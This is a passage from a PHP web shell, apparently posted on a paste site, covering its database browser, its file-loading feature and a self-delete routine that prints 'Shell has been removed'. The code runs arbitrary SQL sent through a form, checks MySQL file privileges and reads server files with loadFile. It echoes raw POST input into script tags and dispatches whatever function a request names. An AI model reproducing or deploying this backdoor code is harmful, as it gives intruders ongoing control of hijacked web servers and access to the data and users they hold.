  1906.                     echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1907.                     echo " of $pages";
  1908.                     if($_POST['p3'] > 1)
  1909.                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1910.                     if($_POST['p3'] < $pages)
  1911.                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1912.                     $_POST['p3']--;
  1913.                     if($_POST['type']=='pgsql')
  1914.                         $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1915.                     else
  1916.                         $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1917.                     echo "<br><br>";
  1918.                 }
  1919.                 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1920.                     $db->query(@$_POST['p2']);
  1921.                     if($db->res !== false) {
  1922.                         $title = false;
  1923.                         echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1924.                         $line = 1;
  1925.                         while($item = $db->fetch()) {
  1926.                             if(!$title) {
  1927.                                 echo '<tr>';
  1928.                                 foreach($item as $key => $value)
  1929.                                     echo '<th>'.$key.'</th>';
  1930.                                 reset($item);
  1931.                                 $title=true;
  1932.                                 echo '</tr><tr>';
  1933.                                 $line = 2;
  1934.                             }
  1935.                             echo '<tr class="l'.$line.'">';
  1936.                             $line = $line==1?2:1;
  1937.                             foreach($item as $key => $value) {
  1938.                                 if($value == null)
  1939.                                     echo '<td><i>null</i></td>';
  1940.                                 else
  1941.                                     echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1942.                             }
  1943.                             echo '</tr>';
  1944.                         }
  1945.                         echo '</table>';
  1946.                     } else {
  1947.                         echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1948.                     }
  1949.                 }
  1950.                 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1951.                 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1952.                     echo htmlspecialchars($_POST['p2']);
  1953.                 echo "</textarea><br/><input type=submit value='Execute'>";
  1954.                 echo "</td></tr>";
  1955.             }
  1956.             echo "</table></form><br/>";
  1957.             if($_POST['type']=='mysql') {
  1958.                 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1959.                 if($db->fetch())
  1960.                     echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1961.             }
  1962.             if(@$_POST['p1'] == 'loadfile') {
  1963.                 $file = $db->loadFile($_POST['p2']);
  1964.                 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1965.             }
  1966.     } else {
  1967.         echo htmlspecialchars($db->error());
  1968.     }
  1969.     echo '</div>';
  1970.     madfooter();
  1971.  
  1972.  }
  1973.  
  1974.  function madselfrm()
  1975.  {
  1976.  
  1977.     if($_POST['p1'] == 'yes')
  1978.         if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1979.             die('Shell has been removed');
  1980.         else
  1981.             echo 'unlink error!';
  1982.     if($_POST['p1'] != 'yes')
  1983.         madhead();
  1984.     echo "<div class=header><pre class=ml1 style='margin-top:5px'>";
  1985.  
  1986.  
  1987.     echo "
  1988.  
  1989.                /^\
  1990.       _.-`:   /   \   :'-._
  1991.     ,`    :  |     |  :    '.
  1992.   ,`       \,|     |,/       '.
  1993.  /           `-...-`           \
  1994. :              .'.              :
  1995. |             . ' .             |
  1996. |             ' . '             |
  1997. :              '.'              :
  1998.  \           ,-'''-,           /
  1999.   `.       /'|     |'\       ,'
  2000.     `._   ;  |     |  ;   _,'
  2001.        `-.:  |     |  :,-'
  2002.              |     |
  2003.              |     |
  2004.              |     |
  2005.              |     |
  2006.              |     |
  2007. ";
  2008.  
  2009.  
  2010.  
  2011.     echo '<br>Kill Me?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  2012.     madFooter();
  2013.  
  2014.  }
  2015.  
  2016.  
  2017. if( empty($_POST['a']) )
  2018.     if(isset($default_action) && function_exists('mad' . $default_action))
  2019.         $_POST['a'] = $default_action;
  2020.     else
  2021.         $_POST['a'] = 'FilesMan';
  2022. if( !empty($_POST['a']) && function_exists('mad' . $_POST['a']) )
  2023.     call_user_func('mad' . $_POST['a']);
  2024.     exit;
  2025. ?>
Add Comment
Please, Sign In to add comment